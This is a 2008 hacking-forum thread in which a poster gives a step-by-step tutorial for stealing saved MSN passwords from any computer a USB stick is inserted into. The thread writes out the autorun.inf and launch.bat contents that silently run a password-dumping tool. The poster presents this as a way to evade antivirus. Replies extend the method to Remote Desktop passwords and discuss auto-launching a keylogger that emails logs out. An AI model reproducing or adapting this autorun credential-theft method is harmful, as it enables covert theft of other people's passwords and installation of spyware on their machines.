Thread: [how to get the msn password with usb stick](#)

XvT0x - May 12, 2008, 12:40 pm

oke this is my first tutorial and my english is not that good, so ask when something is not clear :D

--- the first thing you need is an U3 USB-Stick. (this are usb sticks which support the autostart function)

--- then you download mspass here [click me](#)

--- You open your USB stick and make a new text document which is called Autostart. this is what you write into this file:

```
-----  
[Autostart]  
open=launch.bat  
ACTION = myusbstick  
-----
```

(After writing this you have to save the file as "Autostart.inf", "myusbstick" is of course the name of your usb stick :D)

--- Then you make a folder called mspass, in this folder you copy the downloaded mspass.exe

--- Then you make a .bat file which is named launch.bat
in this file you write

```
-----  
start mspass\mspass.exe /stext mspass.txt  
-----
```

oke this is all you have to do. the trick with the folder and the launch.bat is, that the antivirus programs don't detect them so fast.

when everything is ok, it should work like that:

you put the usb stick into any computer, the autostart.inf will launch the mspass. After a few seconds you can remove the usb stick, and there will be a new .txt file in which the msn password is written.

oke i hope you understood everything and like my little tutorial :D

erazer - May 13, 2008, 11:42 am

nice tutorial

i tried it yesterday with my usb stick, and it really worked

thx

erazer - May 13, 2008, 11:49 am

is there an option to get the windows password as well?

XvT0x - May 13, 2008, 11:54 am

well there would be an option:

you could download the remote desktop passview ([here](#)) and make a folder called rdpv. than you put the rdpv.exe into this folder and change the launch.bat that it should look like this:

```
-----  
start mspass\mspass.exe /stext mspass.txt  
start rdpv\rdpv.exe /stext mspass.txt  
-----
```

BUT: this will only work when the victim used the remote desktop password view option. otherwise it's impossible to get his password just with a little tool...

erazer - May 13, 2008, 11:55 am

ok

thx dude

killhha - May 13, 2008, 1:54 pm

how can u tell if your usb stick supports autorun? btw nice tut :)

joshv06 - May 13, 2008, 4:27 pm

WOW!!! This is niceV Good Job!

Does anyone think there is a way to run an ardamax keylogging virus with this?

XvT0x - May 13, 2008, 4:41 pm

killhha Wrote:how can u tell if your usb stick supports autorun? btw nice tut :)
i would say that this must be written on the package, or search for it at google.
btw i ve heard that U3 sticks sometimes have problems with Vista

joshv06 - May 13, 2008, 5:03 pm

On the back of the flash drive there should be a logo tgat says "u3 smart"

stoyko56 - May 14, 2008, 10:00 am

there is an trojan downloader in there DO NOT DOWNLOAD THIS !!!!

scan with AVG 7.5 and 8.0

h4xor-1337 - May 14, 2008, 12:27 pm

stoyko56 Wrote:there is an trojan downloader in there DO NOT DOWNLOAD THIS !!!!

scan with AVG 7.5 and 8.0
I didnt see anything.

O, and, if you dont want anyone to see it or shit, then right click on the exe and the cfg and say "hidden" (tick the box). They disappear from the list, HOWEVER, they are still there, just hidden lolo!

erazer - May 14, 2008, 12:49 pm

stoyko56 Wrote:there is an trojan downloader in there DO NOT DOWNLOAD THIS !!!!

scan with AVG 7.5 and 8.0
that's crap.... it isn't a trojan...

of course it'll be detected 'cause the program offends the "security conditions"..

anyway, it's not a trojan horse... just try it out

h4xor-1337 - May 14, 2008, 12:54 pm

no no, he's a n00b. kaspersky says all is good.

joshv06 - May 14, 2008, 2:33 pm

Can someone please answer my question? Im curious, is there a way to automatically run an ardamax keylogging package with the same method from the tutorial?

Thanks

justinmonty - May 14, 2008, 4:16 pm

thanks a lot :)

h4xor-1337 - May 15, 2008, 12:25 am

joshv06 Wrote:Can someone please answer my question? Im curious, is there a way to automatically run an ardamax keylogging package with the same method from the tutorial?

Thanks

probably, but It wouldn't completely work, either you would have to have it sent through an email (secretly) back to you, like, repoting back, or you would have to plug in your USB every now and again to "update" it.

maybemoby - May 15, 2008, 8:37 am

oooh ... going to try out

h4xor-1337 - May 15, 2008, 8:42 am

It only works if they have it saved the password. so, it's not that brilliant.

chr232 - May 15, 2008, 12:17 pm

wen i tryd this file i get this file wen i was finish: mspass.cfg I cant open it "/ What most i download to open it? :)

XvT0x - May 15, 2008, 12:25 pm

h4xor-1337 Wrote:It only works if they have it saved the password. so, it's not that brilliant.

yeah that's true, but everyone i know saves their password. those who doesn't are probably not that often logged in and than it's anyway senseless ?

h4xor-1337 - May 15, 2008, 12:35 pm

its good in some ways. didn't help me though...

XvT0x - May 15, 2008, 12:38 pm

h4xor-1337 Wrote:its good in some ways. didn't help me though...

then i m sorry ?

Zammyslave - May 15, 2008, 6:01 pm

Worked fine forme, thanks =P.

XvT0x - May 16, 2008, 7:03 am

okeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee

this is a big fat edit of my first post:

there was ONE fatal mistake:

the autostart was false: you have to save it as "autorun.inf" and the code of course should be:

[autorun]

Open=launch.bat

// or whatever you've named the .bat

Action=USB StartmenÃfÂ¼

// i think it doesn't matter what is written there :D

BUT:

the most important thing is:

that you must not have an U3 usb stick

EVERY usb stick will be able to load the autorun.inf

i hope this could help the ones who had problems

joshv06 - May 16, 2008, 5:00 pm

Yeah but ardamax sends logs to email or FTP, once the virus opens up theres no need to plug the USB back in the machine.

so it should work?

ok.... =)

so you can do this with any USB stick?

XvT0x - May 18, 2008, 4:35 am

nofx_ivan Wrote:ok.... =)

i tried it with mine (which is not a U3) and it worked great

muzevir - May 20, 2008, 7:02 am

I did it, but on the autorun menu i must select what to do (to launch myusbname using the program on usb) :D

is it possible to avoid this, so that all action will be automatic...:)

(Jan 14, 2024 08:01 PM)sdy666 Wrote: [\[CITE\]](#) nice tutorial.?

Nice tutorial for what ? This is a 2008 post, MSN messenger doesn't exist anymore, don't dig up old threads that doesn't matter anymore or from people that are not active
